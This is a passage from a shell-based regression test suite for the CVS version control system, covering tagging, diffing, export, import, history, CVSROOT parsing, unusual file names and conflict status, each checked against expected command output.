rtagged-by-head first-dir/file6\" \\\n\"===================================================================\nChecking out first-dir/file6\nRCS: $CVSROOT_DIRNAME/first-dir/file6,v\nVERS: 1\\.2\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nfile6\nfile6\"\n\t\t# tag by tag\n\t\tdotest basic2-22 \"${testcvs} rtag -r rtagged-by-head rtagged-by-tag first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\n${PROG} rtag: Tagging first-dir/dir1\n${PROG} rtag: Tagging first-dir/dir1/dir2\"\n\n\t\t# tag by revision\n\t\tdotest basic2-23 \"${testcvs} rtag -r1.1 rtagged-by-revision first-dir\" \\\n\"${PROG} rtag: Tagging first-dir\n${PROG} rtag: Tagging first-dir/dir1\n${PROG} rtag: Tagging first-dir/dir1/dir2\"\n\n\t\t# rdiff by revision\n\t\tdotest basic2-24 \"${testcvs} rdiff -r1.1 -rrtagged-by-head first-dir\" \\\n\"${PROG} rdiff: Diffing first-dir\nIndex: first-dir/file6\ndiff -c first-dir/file6:1\\.1 first-dir/file6:1\\.2\n\\*\\*\\* first-dir/file6:1\\.1\t${DATE}\n--- first-dir/file6\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n--- 1,2 ----\n file6\n${PLUS} file6\nIndex: first-dir/file7\ndiff -c first-dir/file7:1\\.1 first-dir/file7:removed\n\\*\\*\\* first-dir/file7:1.1\t${DATE}\n--- first-dir/file7\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- file7\n--- 0 ----\n${PROG} rdiff: Diffing first-dir/dir1\nIndex: first-dir/dir1/file6\ndiff -c first-dir/dir1/file6:1\\.1 first-dir/dir1/file6:1\\.2\n\\*\\*\\* first-dir/dir1/file6:1\\.1\t${DATE}\n--- first-dir/dir1/file6\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n--- 1,2 ----\n file6\n${PLUS} file6\nIndex: first-dir/dir1/file7\ndiff -c first-dir/dir1/file7:1\\.1 first-dir/dir1/file7:removed\n\\*\\*\\* first-dir/dir1/file7:1\\.1\t${DATE}\n--- first-dir/dir1/file7\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- file7\n--- 0 ----\n${PROG} rdiff: Diffing first-dir/dir1/dir2\nIndex: first-dir/dir1/dir2/file6\ndiff -c first-dir/dir1/dir2/file6:1\\.1 first-dir/dir1/dir2/file6:1\\.2\n\\*\\*\\* first-dir/dir1/dir2/file6:1\\.1\t${DATE}\n--- first-dir/dir1/dir2/file6\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n--- 1,2 ----\n file6\n${PLUS} file6\nIndex: first-dir/dir1/dir2/file7\ndiff -c first-dir/dir1/dir2/file7:1\\.1 first-dir/dir1/dir2/file7:removed\n\\*\\*\\* first-dir/dir1/dir2/file7:1\\.1\t${DATE}\n--- first-dir/dir1/dir2/file7\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- file7\n--- 0 ----\"\n\t\tdotest basic2-24a \"${testcvs} rdiff -l -r1.1 -rrtagged-by-head first-dir\" \\\n\"${PROG} rdiff: Diffing first-dir\nIndex: first-dir/file6\ndiff -c first-dir/file6:1\\.1 first-dir/file6:1\\.2\n\\*\\*\\* first-dir/file6:1\\.1\t${DATE}\n--- first-dir/file6\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n--- 1,2 ----\n file6\n${PLUS} file6\nIndex: first-dir/file7\ndiff -c first-dir/file7:1\\.1 first-dir/file7:removed\n\\*\\*\\* first-dir/file7:1.1\t${DATE}\n--- first-dir/file7\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- file7\n--- 0 ----\"\n\t\t# now export by rtagged-by-head and rtagged-by-tag and compare.\n\t\tdotest basic2-25 \"${testcvs} export -r rtagged-by-head -d 1dir first-dir\" \\\n\"${PROG} export: Updating 1dir\nU 1dir/file14\nU 1dir/file6\n${PROG} export: Updating 1dir/dir1\nU 1dir/dir1/file14\nU 1dir/dir1/file6\n${PROG} export: Updating 1dir/dir1/dir2\nU 1dir/dir1/dir2/file14\nU 1dir/dir1/dir2/file6\"\n\t\tdotest_fail basic2-25a \"test -d 1dir/CVS\"\n\t\tdotest_fail basic2-25b \"test -d 1dir/dir1/CVS\"\n\t\tdotest_fail basic2-25c \"test -d 1dir/dir1/dir2/CVS\"\n\n\t\tdotest basic2-26 \"${testcvs} export -r rtagged-by-tag first-dir\" \\\n\"${PROG} export: Updating first-dir\nU first-dir/file14\nU first-dir/file6\n${PROG} export: Updating first-dir/dir1\nU first-dir/dir1/file14\nU first-dir/dir1/file6\n${PROG} export: Updating first-dir/dir1/dir2\nU first-dir/dir1/dir2/file14\nU first-dir/dir1/dir2/file6\"\n\t\tdotest_fail basic2-26a \"test -d first-dir/CVS\"\n\t\tdotest_fail basic2-26b \"test -d first-dir/dir1/CVS\"\n\t\tdotest_fail basic2-26c \"test -d first-dir/dir1/dir2/CVS\"\n\n\t\tdotest basic2-27 \"directory_cmp 1dir first-dir\"\n\t\trm -r 1dir first-dir\n\n\t\t# checkout by revision vs export by rtagged-by-revision and compare.\n\t\tmkdir export-dir\n\t\tdotest basic2-28 \"${testcvs} export -rrtagged-by-revision -d export-dir first-dir\" \\\n\"${PROG} export: Updating export-dir\nU export-dir/file14\nU export-dir/file6\nU export-dir/file7\n${PROG} export: Updating export-dir/dir1\nU export-dir/dir1/file14\nU export-dir/dir1/file6\nU export-dir/dir1/file7\n${PROG} export: Updating export-dir/dir1/dir2\nU export-dir/dir1/dir2/file14\nU export-dir/dir1/dir2/file6\nU export-dir/dir1/dir2/file7\"\n\t\tdotest_fail basic2-28a \"test -d export-dir/CVS\"\n\t\tdotest_fail basic2-28b \"test -d export-dir/dir1/CVS\"\n\t\tdotest_fail basic2-28c \"test -d export-dir/dir1/dir2/CVS\"\n\n\t\tdotest basic2-29 \"${testcvs} co -r1.1 first-dir\" \\\n\"${PROG} checkout: Updating first-dir\nU first-dir/file14\nU first-dir/file6\nU first-dir/file7\n${PROG} checkout: Updating first-dir/dir1\nU first-dir/dir1/file14\nU first-dir/dir1/file6\nU first-dir/dir1/file7\n${PROG} checkout: Updating first-dir/dir1/dir2\nU first-dir/dir1/dir2/file14\nU first-dir/dir1/dir2/file6\nU first-dir/dir1/dir2/file7\"\n\n\t\t# directory copies are done in an oblique way in order to avoid a bug in sun's tmp filesystem.\n\t\tmkdir first-dir.cpy ; (cd first-dir ; tar cf - . | (cd ../first-dir.cpy ; tar xf -))\n\n\t\tdotest basic2-30 \"directory_cmp first-dir export-dir\"\n\n\t\t# interrupt, while we've got a clean 1.1 here, let's import it\n\t\t# into a couple of other modules.\n\t\tcd export-dir\n\t\tdotest_sort basic2-31 \"${testcvs} import -m first-import second-dir first-immigration immigration1 immigration1_0\" \\\n\"\n\nN second-dir/dir1/dir2/file14\nN second-dir/dir1/dir2/file6\nN second-dir/dir1/dir2/file7\nN second-dir/dir1/file14\nN second-dir/dir1/file6\nN second-dir/dir1/file7\nN second-dir/file14\nN second-dir/file6\nN second-dir/file7\nNo conflicts created by this import\n${PROG} import: Importing ${CVSROOT_DIRNAME}/second-dir/dir1\n${PROG} import: Importing ${CVSROOT_DIRNAME}/second-dir/dir1/dir2\"\n\t\tcd ..\n\n\t\tdotest basic2-32 \"${testcvs} export -r HEAD second-dir\" \\\n\"${PROG} export: Updating second-dir\nU second-dir/file14\nU second-dir/file6\nU second-dir/file7\n${PROG} export: Updating second-dir/dir1\nU second-dir/dir1/file14\nU second-dir/dir1/file6\nU second-dir/dir1/file7\n${PROG} export: Updating second-dir/dir1/dir2\nU second-dir/dir1/dir2/file14\nU second-dir/dir1/dir2/file6\nU second-dir/dir1/dir2/file7\"\n\n\t\tdotest basic2-33 \"directory_cmp first-dir second-dir\"\n\n\t\trm -r second-dir\n\n\t\trm -r export-dir first-dir\n\t\tmkdir first-dir\n\t\t(cd first-dir.cpy ; tar cf - . | (cd ../first-dir ; tar xf -))\n\n\t\t# update the top, cancelling sticky tags, retag, update other copy, compare.\n\t\tcd first-dir\n\t\tdotest basic2-34 \"${testcvs} update -A -l *file*\" \\\n\"[UP] file6\n${PROG} update: file7 is no longer in the repository\"\n\n\t\t# If we don't delete the tag first, cvs won't retag it.\n\t\t# This would appear to be a feature.\n\t\tdotest basic2-35 \"${testcvs} tag -l -d rtagged-by-revision\" \\\n\"${PROG} tag: Untagging \\.\nD file14\nD file6\"\n\t\tdotest basic2-36 \"${testcvs} tag -l rtagged-by-revision\" \\\n\"${PROG} tag: Tagging \\.\nT file14\nT file6\"\n\n\t\tcd ..\n\t\tmv first-dir 1dir\n\t\tmv first-dir.cpy first-dir\n\t\tcd first-dir\n\n\t\tdotest basic2-37 \"${testcvs} -q diff -u\" ''\n\n\t\tdotest basic2-38 \"${testcvs} update\" \\\n\"${PROG} update: Updating .\n${PROG} update: Updating dir1\n${PROG} update: Updating dir1/dir2\"\n\n\t\tcd ..\n\n\t\t#### FIXME: is this expected to work??? Need to investigate\n\t\t#### and fix or remove the test.\n#\t\tdotest basic2-39 \"directory_cmp 1dir first-dir\"\n\n\t\trm -r 1dir first-dir\n\n\t\t# Test the cvs history command.\n\n\t\t# The reason that there are two patterns rather than using\n\t\t# \\(${TESTDIR}\\|\\) is that we are trying to\n\t\t# make this portable. Perhaps at some point we should\n\t\t# ditch that notion and require GNU expr (or dejagnu or....)\n\t\t# since it seems to be so painful.\n\n\t\t# why are there two lines at the end of the local output\n\t\t# which don't exist in the remote output? would seem to be\n\t\t# a CVS bug.\n\t\tdotest basic2-64 \"${testcvs} his -x TOFWUPCGMAR -a\" \\\n\"O [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir =first-dir= ${TESTDIR}/\\*\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file6 first-dir == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file7 first-dir == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file6 first-dir/dir1 == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file7 first-dir/dir1 == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file6 first-dir/dir1/dir2 == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file7 first-dir/dir1/dir2 == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file14 first-dir == ${TESTDIR}\nM [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir == ${TESTDIR}\nR [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file7 first-dir == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file14 first-dir/dir1 == ${TESTDIR}\nM [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir/dir1 == ${TESTDIR}\nR [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file7 first-dir/dir1 == ${TESTDIR}\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file14 first-dir/dir1/dir2 == ${TESTDIR}\nM [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir/dir1/dir2 == ${TESTDIR}\nR [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file7 first-dir/dir1/dir2 == ${TESTDIR}\nF [0-9-]* [0-9:]* ${PLUS}0000 ${username} =first-dir= ${TESTDIR}/\\*\nT [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir \\[rtagged-by-head:A\\]\nT [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir \\[rtagged-by-tag:rtagged-by-head\\]\nT [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir \\[rtagged-by-revision:1\\.1\\]\nO [0-9-]* [0-9:]* ${PLUS}0000 ${username} \\[1\\.1\\] first-dir =first-dir= ${TESTDIR}/\\*\nU [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir == ${TESTDIR}/first-dir\nW [0-9-]* [0-9:]* ${PLUS}0000 ${username} file7 first-dir == ${TESTDIR}/first-dir\" \\\n\"O [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir =first-dir= /\\*\nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file6 first-dir == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file7 first-dir == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file6 first-dir/dir1 == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file7 first-dir/dir1 == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file6 first-dir/dir1/dir2 == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file7 first-dir/dir1/dir2 == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file14 first-dir == \nM [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir == \nR [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file7 first-dir == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file14 first-dir/dir1 == \nM [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir/dir1 == \nR [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file7 first-dir/dir1 == \nA [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.1 file14 first-dir/dir1/dir2 == \nM [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir/dir1/dir2 == \nR [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file7 first-dir/dir1/dir2 == \nF [0-9-]* [0-9:]* ${PLUS}0000 ${username} =first-dir= /\\*\nT [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir \\[rtagged-by-head:A\\]\nT [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir \\[rtagged-by-tag:rtagged-by-head\\]\nT [0-9-]* [0-9:]* ${PLUS}0000 ${username} first-dir \\[rtagged-by-revision:1\\.1\\]\nO [0-9-]* [0-9:]* ${PLUS}0000 ${username} \\[1\\.1\\] first-dir =first-dir= /\\*\nP [0-9-]* [0-9:]* ${PLUS}0000 ${username} 1\\.2 file6 first-dir == \nW [0-9-]* [0-9:]* ${PLUS}0000 ${username} file7 first-dir == \"\n\n\t\trm -rf ${CVSROOT_DIRNAME}/first-dir\n\t\trm -rf ${CVSROOT_DIRNAME}/second-dir\n\t\t;;\n\n\tparseroot)\n\t mkdir 1; cd 1\n\t # Test odd cases involving CVSROOT. At the moment, that means we\n\t # are testing roots with '/'s on the end, which CVS should parse off.\n\t CVSROOT_save=${CVSROOT}\n\t CVSROOT=\"${CVSROOT}/////\"\n\t dotest parseroot-1 \"${testcvs} -q co CVSROOT/modules\" \\\n\"U CVSROOT/modules\"\n\t dotest parseroot-2 \"${testcvs} -q ci -fmnull-change CVSROOT/modules\" \\\n\"Checking in CVSROOT/modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t if $remote; then\n\t # I only test these when testing remote in case CVS was compiled\n\t # without client support.\n\n\t # logout does not try to contact the server.\n\t CVSROOT=\":pserver;proxy=localhost;proxyport=8080:localhost/dev/null\"\n\t dotest parseroot-3r \"$testcvs -d'$CVSROOT' logout\" \\\n\"$PROG logout: WARNING: Ignoring method options found in CVSROOT: \\`proxy=localhost;proxyport=8080'\\.\n$PROG logout: Use CVS version 1\\.12\\.7 or later to handle method options\\.\nLogging out of :pserver:$username@localhost:2401/dev/null\n$PROG logout: warning: failed to open $HOME/\\.cvspass for reading: No such file or directory\n$PROG logout: Entry not found\\.\"\n\t fi\n\n\t if $keep; then\n\t\techo Keeping $TESTDIR and exiting due to --keep\n\t\texit 0\n\t fi\n\n\t CVSROOT=$CVSROOT_save\n\t cd ..\n\t rm -r 1\n\t ;;\n\n\n\n\tfiles)\n\t # Test of how we specify files on the command line\n\t # (recurse.c and that sort of thing). Vaguely similar to\n\t # tests like basic* and deep. See modules and such tests\n\t # for what happens when we throw in modules and co -d, &c.\n\n\t # This particular test is fairly carefully crafted, to spot\n\t # one particular issue with remote.\n\t mkdir 1; cd 1\n\t dotest files-1 \"${testcvs} -q co -l .\" \"\"\n\t mkdir first-dir\n\t dotest files-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch tfile\n\t dotest files-3 \"${testcvs} add tfile\" \\\n\"${PROG} add: scheduling file .tfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest files-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/tfile,v\ndone\nChecking in tfile;\n${CVSROOT_DIRNAME}/first-dir/tfile,v <-- tfile\ninitial revision: 1\\.1\ndone\"\n\t dotest files-5 \"${testcvs} -q tag -b C\" \"T tfile\"\n\t dotest files-6 \"$testcvs -q update -r C\" \"U tfile\"\n\t mkdir dir\n\t dotest files-7 \"${testcvs} add dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir added to the repository\n--> Using per-directory sticky tag .C'\"\n\t cd dir\n\t touch .file\n\t dotest files-6 \"${testcvs} add .file\" \\\n\"${PROG} add: scheduling file .\\.file' for addition on branch .C.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t mkdir sdir\n\t dotest files-7 \"${testcvs} add sdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir/sdir added to the repository\n--> Using per-directory sticky tag .C'\"\n\t cd sdir\n\t mkdir ssdir\n\t dotest files-8 \"${testcvs} add ssdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/dir/sdir/ssdir added to the repository\n--> Using per-directory sticky tag .C'\"\n\t cd ssdir\n\t touch .file\n\t dotest files-9 \"${testcvs} add .file\" \\\n\"${PROG} add: scheduling file .\\.file' for addition on branch .C.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cd ../..\n\t dotest files-10 \"${testcvs} -q ci -m test\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/dir/Attic/\\.file,v\ndone\nChecking in \\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/dir/sdir/ssdir/Attic/\\.file,v\ndone\nChecking in sdir/ssdir/\\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/sdir/ssdir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest files-11 \\\n\"${testcvs} commit -m test -f ./.file ./sdir/ssdir/.file\" \\\n\"Checking in \\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\nChecking in \\./sdir/ssdir/\\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/sdir/ssdir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\t if $remote; then\n\t # FIXCVS:\n\t # This is a bug, looks like that toplevel_repos cruft in\n\t # client.c is coming back to haunt us.\n\t # May want to think about the whole issue, toplevel_repos\n\t # has always been crufty and trying to patch it up again\n\t # might be a mistake.\n\t dotest files-12 \\\n\"${testcvs} commit -f -m test ./sdir/ssdir/.file ./.file\" \\\n\"Checking in \\./sdir/ssdir/\\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/sdir/ssdir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.3; previous revision: 1\\.1\\.2\\.2\ndone\"\n\n\t # Sync up the version numbers so that the rest of the\n\t # tests don't need to expect different numbers based\n\t # local or remote.\n\t dotest files-12-workaround \\\n\"${testcvs} commit -f -m test .file\" \\\n\"Checking in \\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.3; previous revision: 1\\.1\\.2\\.2\ndone\"\n\t else\n\t dotest files-12 \\\n\"${testcvs} commit -f -m test ./sdir/ssdir/.file ./.file\" \\\n\"Checking in \\./sdir/ssdir/\\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/sdir/ssdir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.3; previous revision: 1\\.1\\.2\\.2\ndone\nChecking in \\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.3; previous revision: 1\\.1\\.2\\.2\ndone\"\n\t fi\n\t dotest files-13 \\\n\"${testcvs} commit -fmtest ./sdir/../sdir/ssdir/..///ssdir/.file\" \\\n\"Checking in \\./sdir/\\.\\./sdir/ssdir/\\.\\.///ssdir/\\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/sdir/ssdir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.4; previous revision: 1\\.1\\.2\\.3\ndone\"\n\t if $remote; then\n\t dotest files-14 \\\n\"${testcvs} commit -fmtest ../../first-dir/dir/.file\" \\\n\"Checking in \\.\\./\\.\\./first-dir/dir/\\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/Attic/\\.file,v <-- .file\nnew revision: 1\\.1\\.2\\.4; previous revision: 1\\.1\\.2\\.3\ndone\"\n\t else\n\t dotest files-14 \\\n\"${testcvs} commit -fmtest ../../first-dir/dir/.file\" \\\n\"Checking in \\.\\./\\.\\./first-dir/dir/\\.file;\n${CVSROOT_DIRNAME}/first-dir/dir/Attic/\\.file,v <-- \\.file\nnew revision: 1\\.1\\.2\\.4; previous revision: 1\\.1\\.2\\.3\ndone\"\n\t fi\n\t cd ../../..\n\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tspacefiles)\n\t # More filename tests, in particular spaces in file names.\n\t # (it might be better to just change a few of the names in\n\t # basica or some other test instead, always good to keep the\n\t # testsuite concise).\n\n\t mkdir 1; cd 1\n\t dotest spacefiles-1 \"${testcvs} -q co -l .\" \"\"\n\t touch ./-c\n\t dotest spacefiles-2 \"${testcvs} add -- -c\" \\\n\"${PROG} add: scheduling file .-c. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest spacefiles-3 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/-c,v\ndone\nChecking in -c;\n${CVSROOT_DIRNAME}/-c,v <-- -c\ninitial revision: 1\\.1\ndone\"\n\t mkdir 'first dir'\n\t dotest spacefiles-4 \"${testcvs} add 'first dir'\" \\\n\"Directory ${CVSROOT_DIRNAME}/first dir added to the repository\"\n\t mkdir ./-b\n\t dotest spacefiles-5 \"${testcvs} add -- -b\" \\\n\"Directory ${CVSROOT_DIRNAME}/-b added to the repository\"\n\t cd 'first dir'\n\t touch 'a file'\n\t dotest spacefiles-6 \"${testcvs} add 'a file'\" \\\n\"${PROG} add: scheduling file .a file. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest spacefiles-7 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first dir/a file,v\ndone\nChecking in a file;\n${CVSROOT_DIRNAME}/first dir/a file,v <-- a file\ninitial revision: 1\\.1\ndone\"\n\t dotest spacefiles-8 \"${testcvs} -q tag new-tag\" \"T a file\"\n\t cd ../..\n\n\t mkdir 2; cd 2\n\t dotest spacefiles-10 \"${testcvs} co -- -b\" \\\n\"${PROG} checkout: Updating -b\"\n\t dotest spacefiles-11 \"${testcvs} -q co -- -c\" \"U \\./-c\"\n\t rm ./-c\n\t dotest spacefiles-13 \"${testcvs} -q co 'first dir'\" \\\n\"U first dir/a file\"\n\t cd ..\n\n\t mkdir 3; cd 3\n\t dotest spacefiles-14 \"${testcvs} -q co 'first dir/a file'\" \\\n\"U first dir/a file\"\n\t cd ..\n\n\t rm -r 1 2 3\n\t rm -rf \"${CVSROOT_DIRNAME}/first dir\"\n\t rm -r ${CVSROOT_DIRNAME}/-b\n\t rm -f ${CVSROOT_DIRNAME}/-c,v\n\t ;;\n\n\tcommit-readonly)\n\t mkdir 1; cd 1\n\t module=x\n\n\t : > junk\n\t dotest commit-readonly-1 \"$testcvs -Q import -m . $module X Y\" ''\n\t dotest commit-readonly-2 \"$testcvs -Q co $module\" ''\n\t cd $module\n\n\t file=m\n\n\t # Include an rcs keyword to be expanded.\n\t echo '$Id''$' > $file\n\n\t dotest commit-readonly-3 \"$testcvs add $file\" \\\n\"${PROG} add: scheduling file .$file. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest commit-readonly-4 \"$testcvs -Q ci -m . $file\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/$module/$file,v\ndone\nChecking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\ninitial revision: 1\\.1\ndone\"\n\n\t echo line2 >> $file\n\t # Make the file read-only.\n\t chmod a-w $file\n\n\t dotest commit-readonly-5 \"$testcvs -Q ci -m . $file\" \\\n\"Checking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n\tstatus)\n\t\t# This tests for a bug in the status command which failed to\n\t\t# notice resolved conflicts.\n\t\tmkdir status; cd status\n\t\tdotest status-init-1 \"${testcvs} -q co -l .\" \"\"\n\t\tmkdir first-dir\n\t\tdotest status-init-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t\tcd first-dir\n\t\techo a line >tfile\n\t\tdotest status-init-3 \"${testcvs} add tfile\" \\\n\"${PROG} add: scheduling file .tfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t\tdotest status-init-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/tfile,v\ndone\nChecking in tfile;\n${CVSROOT_DIRNAME}/first-dir/tfile,v <-- tfile\ninitial revision: 1\\.1\ndone\"\n\t\tcd ..\n\t\tdotest status-init-5 \"${testcvs} -q co -dsecond-dir first-dir\" \\\n\"U second-dir/tfile\"\n\t\tcd second-dir\n\t\techo some junk >>tfile\n\t\tdotest status-init-6 \"${testcvs} -q ci -maline\" \\\n\"Checking in tfile;\n${CVSROOT_DIRNAME}/first-dir/tfile,v <-- tfile\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t\tcd ../first-dir\n\t\techo force a conflict >>tfile\n\t\tdotest status-init-7 \"${testcvs} -q up\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/tfile,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into tfile\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in tfile\nC tfile\"\n\n\t\t# Now note our status\n\t\tdotest status-1 \"${testcvs} status tfile\" \\\n\"===================================================================\nFile: tfile \tStatus: Unresolved Conflict\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/tfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t\t# touch the file, leaving conflict markers in place\n\t\t# and note our status\n\t\ttouch tfile\n\t\tdotest status-2 \"${testcvs} status tfile\" \\\n\"===================================================================\nFile: tfile \tStatus: File had conflicts on merge\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/tfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t\t# resolve the conflict\n\t\techo resolution >tfile\n\t\tdotest status-3 \"${testcvs} status tfile\" \\\n\"===================================================================\nFile: tfile \tStatus: Locally Modified\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/tfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t\t# Check that there are no problems just using CVS/Root too.\n\t\tsave_CVSROOT=$CVSROOT\n\t\tunset CVSROOT\n\t\tdotest status-3a \"${testcvs} status tfile\" \\\n\"===================================================================\nFile: tfile \tStatus: Locally Modified\n\n Working 